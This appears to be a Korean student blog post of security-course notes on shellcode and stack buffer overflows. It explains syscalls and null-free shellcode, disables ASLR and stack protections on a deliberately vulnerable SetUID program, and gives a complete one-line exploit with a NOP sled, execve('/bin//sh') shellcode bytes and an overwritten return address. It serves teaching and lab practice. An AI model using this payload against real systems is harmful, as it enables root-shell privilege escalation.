이 영역을 누르면 첫 페이지로 이동
천천히 꾸준히 조용히 블로그의 첫 페이지로 이동

천천히 꾸준히 조용히

페이지 맨 위로 올라가기

천천히 꾸준히 조용히

천천히 꾸준히 조용히.. i3months 블로그

[SSS] Control Flow Hijacking - Shellcode

  • 2025.09.29 06:40
  • Computer Science/Computer Security
반응형

 

 

 

Shellcode는 프로그램 내부에서 직접 실행되도록 설계된 바이너리 코드 조각이다.

메모리의 어디에 위치하든 동작할 수 있어야 하고, 외부 라이브러리에 의존하지 않는다.

 

그냥 공격자가 공격 대상의 컴에서 실행하고 싶은 최종 명령어를 기계어로 번역한거라고 보면 됨.

공격자 입장에서는 공격 대상의 쉘을 띄우고 싶으니까 이름이 쉘코드임.

 

Assembler로 작성된 후 바이트로 변환되고, 이 바이트들이 메모리에 올라가고, CPU의 실행 대상이 된다. 

보통 루트 권한의 쉘을 얻을 때 사용된다. 

 

 

 

 

 

사용자 영역 (Ring 3) 에서 동작하는 일반 프로세스는 커널이 관리하는 하드웨어 자원에 직접 접근할 수 없다.

운영체제에서 배웠듯.. Ring 3에서 RIng 0으로 안전하게 진입해서 커널 서비스를 요청하는 통로라고 보면 된다. 

 

여러 쉘코드의 페이로드들은 직접 시스템콜을 호출해서 파일을 열거나 소켓을 만드는 작업을 수행한다.

쉘코드가 커널이 제공하는 서비스를 직접 사용해야 유용한 작업을 할 수 있기에.. 쉘코드를 다루기 위해 시스템콜을 제대로 이해해야 한다. 

 

C로 코드를 작성할 때 사용하게 되는 여러 편의 메서드 (open read write malloc) 는 모두 libc에 구현되어있다.

이 함수들은 내부에서 실제 시스템콜을 호출해준다.

 

libc 라이브러리를 통해 시스템콜 호출을 추상화하니 개발자는 syscall 번호나 syscall 명령을 신경쓰지 않아도 된다.

 

 

 

 

 

 

프로세스 메모리에 libc가 로드 되어 있으면 쉘코드에서도 libc의 함수들을 호출할 수 있다. 

이 경우 스택 실행이 불가능해도 동작할 수 있지만..

베이스 주소가 ASLR로 섞여있으면 정확한 함수 주소를 알아야 하니 추가 작업이 필요하다.

또한 libc 함수가 시스템콜만 호출하는게 아니고, 메모리 정리 등 부차적인 작업도 함께 수행하니 이 부분이 부작용으로 작동할 수 있다.

쉘코드가 직접 시스템콜을 호출하면 libc에 의존하지 않아도 되지만 syscall ABI를 정확하게 맞춰야 한다.

 

 

 

x86 아키텍처에서 INT 0x80은 사용자 모드에서 커널 모드로 시스템콜을 요청하는 전통적인 방법이다. (Interrupt)

호출자는 EAX에 시스템콜 번호를 넣고 EBX, ECX, EDX, ESI, EDI, EBP 레지스터에 인자를 넣고 INT 0x80을 실행한다.

기본적으로 소프트웨어 인터럽트 호출 방식이고, 레지스터가 더 필요한 경우 구조체의 포인터를 넘겨 내부값을 참조하도록 한다.

 

x86 아키텍처에서 저렇게 동작한다는거지.. 다른 아키텍처에서는 또 다르게 동작한다.

그러니 공격 시 공격 대상 시스템이 어떤 운영체제를 사용하고, 라이브러리는 또 어떤 버전을 사용하는지 파악하는게 매우 중요하다.

공격자는 버전별로 운영체제와 라이브러리가 어떻게 작동하는지, 레지스터는 또 어떤걸 사용하는지를 알고 있어야 효과적으로 공격할 수 있다. 

 

쉘코드에는 NULL 바이트인 0x00이 포함되지 않도록 하자.

strcpy, strcat 같은 NULL 종료 문자열 함수를 통해 버퍼에 페이로드를 넣는데, NULL을 만나면 복사를 멈추기에 페이로드에 0x00이 있으면 그 뒤의 바이트로는 복사되지 않는다.

 

그러니 같은 동작을 하는 코드를 작성하더라도 NULL-SAFE하게 작성해주자. 

 

 

웹 취약점 중 사용하는 웹서버 버전이 노출되는 부분도 취약점으로 취급되고, 오픈소스 사용 시 취약점 발견 시 빠르게 마이너 패치 버전이 나오는 이유도 취약점과 연관이 크기 때문임.

 

소프트웨어 보안 분야는 개념이 많지는 않고.. 응용이 중요한 분야이다.

대상 아키텍처를 지정하고, 그 아키텍처의 취약점을 분석하고.. 이 과정에서 llm을 적극적으로 활용하자. 

 

 

 


 

 

 

쉘코드는 쉘을 실행시키는 기계어 코드를 의미한다. 

 

 

https://shell-storm.org/shellcode/index.html 

 

 

 

 

 

쉘 코드를 실행시키는 C 프로그램으로 쉘 코드를 실행해보자.

 

 

 

 

code 배열에 쉘 코드가 저장되어있다.

이 16진수 값들은 CPU가 직접 실행할 수 있는 기계어 명령어로, 실행 시 code 배열의 시작 주소로 점프해서 기계어 명령어들을 차례대로 실행한다. 

 

운영체제는 보안을 위해 메모리 영역에서 발생하는 코드 실행을 모두 막는다. (DEP) 

-z execstack 옵션을 사용해서 일시적으로 DEP 보안 기능을 해제하자. 

 

현대 시스템에서는 -z execstack 옵션을 사용할 수 없으니, ROP 방식으로 정상적인 코드 조각들을 이어붙여 DEP 보안을 우회한다.

 

 

 

 

chmod 4755 명령어로 SetUID 비트를 설정해 실행할 때 루트 권한으로 실행하도록 설정해주자.

SetUID 비트가 설정됐으니 이전과 다르게 쉘 코드의 내용이 루트 권한으로 실행된다.

(쉘이 권한을 낮춰 루트 권한으로 실행되지 않는 경우도 있다)

 

 

 

 

 

ASLR이 켜져있으면 스택의 시작 위치가 무작위로 지정되니 설정 값을 0으로 설정해 잠시 ASLR을 비활성화하자.

 

 

 

 

 

BOF 취약점이 있는 코드를 작성하자.

 

gcc –z execstack –o bof bof.c –mpreferred-stack-boundary=2 –fno-stack-protector

스택 카나리 보호 기법을 비활성화해 BOF 공격이 가능하도록 설정하고, 스택의 메모리 주소 정렬 방식을 단순화해 공격자가 주소를 더 쉽게 계산할 수 있도록 도와준다. 

 

 

 

 

 

 

python 프린트 명령어로 특정 길이의 데이터를 프로그램에 입력한 후 EIP 레지스터를 확인해보니 0x43434343으로 값이 변했음을 확인할 수 있다.

즉, CCCC 입력이 정확히 복귀 주소가 저장된 위치를 덮었다.

 

버퍼의 시작점부터 복귀 주소까지의 거리는 정확히 104바이트이다.

 

이제 AAAA... 부분에 NOP와 실제 쉘 코드를 넣고,

BBBB 부분은 오프셋을 맞추기 위해 패딩으로 그대로 남겨두고,

CCCC 부분에 NOP 슬라이드의 주소를 정확하게 넣어주자.

 

 

           |-------------------|  ESP 
           |                   |
           |    buf[100]       |  (100 바이트 버퍼)
           |                   |
           |-------------------|
           |    padding        |  (컴파일러가 넣은 패딩)
           |-------------------|
           | Saved EBP (SFP)   |  (4바이트)
           |-------------------|
           | Return Address    |  (func 함수가 끝나고 돌아갈 main주소 - 4바이트)
           |-------------------|  EBP

 

 

 

 

 

ESP 주소가 0xbfffebfc 로 확인된다. 이 주소는 버퍼가 시작되는 위치이니 이 주소를 바탕으로 공격 명령어를 만들자. 

NOP 슬라이드를 둘 예정이니 약간 높은 0xbfffec20 정도를 새로운 복귀 주소로 설정한다.

 

(python -c 'print "\x90"*40 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A"*41 + "\x20\xeb\xff\xbf"'; cat) | ./bof

 

 

NOP 슬라이드를 40바이트만큼, 쉘 코드를 25바이트만큼, 패딩을 39바이트만큼 설정하자.

 

 

 

 

gdb 안에서 실행될 때와 터미널에서 실행될 때의 메모리 주소가 약간 달라질 수 있다.

 

찾아낸 주소가 제 터미널 환경에서는 다른 곳을 가리키고 있으니 Segmentation Fault가 발생했고, 터미널이 알려주는 새로운 시작 주소를 기준으로 다시 목표 주소를 계산해서 명령어를 수정했다.

 

 

반응형
저작자표시 (새창열림)

'Computer Science > Computer Security' 카테고리의 다른 글

[SSS] Race Condition  (0) 2025.10.20
[SSS] Return Oriented Programming  (0) 2025.10.09
[SSS] Format String Bug  (0) 2025.10.06
[SSS] Control Flow Hijacking - Buffer Overflow  (0) 2025.09.21
[SSS] Set-UID Privileged Programs  (0) 2025.09.13

댓글

이 글 공유하기

  • 구독하기

    구독하기

  • 카카오톡

    카카오톡

  • 라인

    라인

  • 트위터

    트위터

  • Facebook

    Facebook

  • 카카오스토리

    카카오스토리

  • 밴드

    밴드

  • 네이버 블로그

    네이버 블로그

  • Pocket

    Pocket

  • Evernote

    Evernote

다른 글

  • [SSS] Return Oriented Programming

    [SSS] Return Oriented Programming

    2025.10.09
  • [SSS] Format String Bug

    [SSS] Format String Bug

    2025.10.06
  • [SSS] Control Flow Hijacking - Buffer Overflow

    [SSS] Control Flow Hijacking - Buffer Overflow

    2025.09.21
  • [SSS] Set-UID Privileged Programs

    [SSS] Set-UID Privileged Programs

    2025.09.13
다른 글 더 둘러보기

정보

천천히 꾸준히 조용히 블로그의 첫 페이지로 이동

천천히 꾸준히 조용히

  • 천천히 꾸준히 조용히의 첫 페이지로 이동

검색

방문자

  • 전체 방문자
  • 오늘
  • 어제

카테고리

  • 분류 전체보기 (685)
    • Algorithm (205)
      • Data Structure (5)
      • Theory && Tip (33)
      • Baekjoon (166)
      • ALGOSPOT (1)
    • Spring (123)
      • Spring (28)
      • Spring Web MVC (20)
      • Spring Database (14)
      • Spring Boot (6)
      • Spring 3.1 (11)
      • Spring Batch (6)
      • Spring Security (16)
      • JPA (12)
      • Spring Data JPA (5)
      • QueryDSL (4)
      • eGovFramework (1)
    • Programming Language (74)
      • C (25)
      • C++ (12)
      • Java (19)
      • JavaScript (15)
      • Python (1)
      • PHP (2)
    • Computer Science (145)
      • Machine Learning (38)
      • Operating System (18)
      • Computer Network (28)
      • System Programming (22)
      • Universial Programming Lang.. (8)
      • Data Science (2)
      • Embedded Software (1)
      • Computer Architecture (4)
      • Compiler Design (11)
      • Computer Security (13)
      • BlockChain (0)
    • Database (21)
      • Database (7)
      • MySQL (3)
      • Oracle (3)
      • Redis (5)
      • Elasticsearch (3)
    • DevOps (20)
      • Docker && Kubernetes (8)
      • Jenkins (4)
      • Amazon Web Service (8)
    • Mobile (28)
      • Android (21)
      • Flutter (7)
    • 💡 솔루션 (17)
    • 👥 모각코 (12)
    • 💬 기록 (8)
    • 📚 공부 (7)
    • -------------- (25)

최근 글

나의 외부 링크

메뉴

  • 홈
반응형

정보

i3months의 천천히 꾸준히 조용히

천천히 꾸준히 조용히

i3months

블로그 구독하기

  • 구독하기
  • RSS 피드

티스토리

  • 티스토리 홈
  • 이 블로그 관리하기
  • 글쓰기
Powered by Tistory / Kakao. Copyright © i3months.

티스토리툴바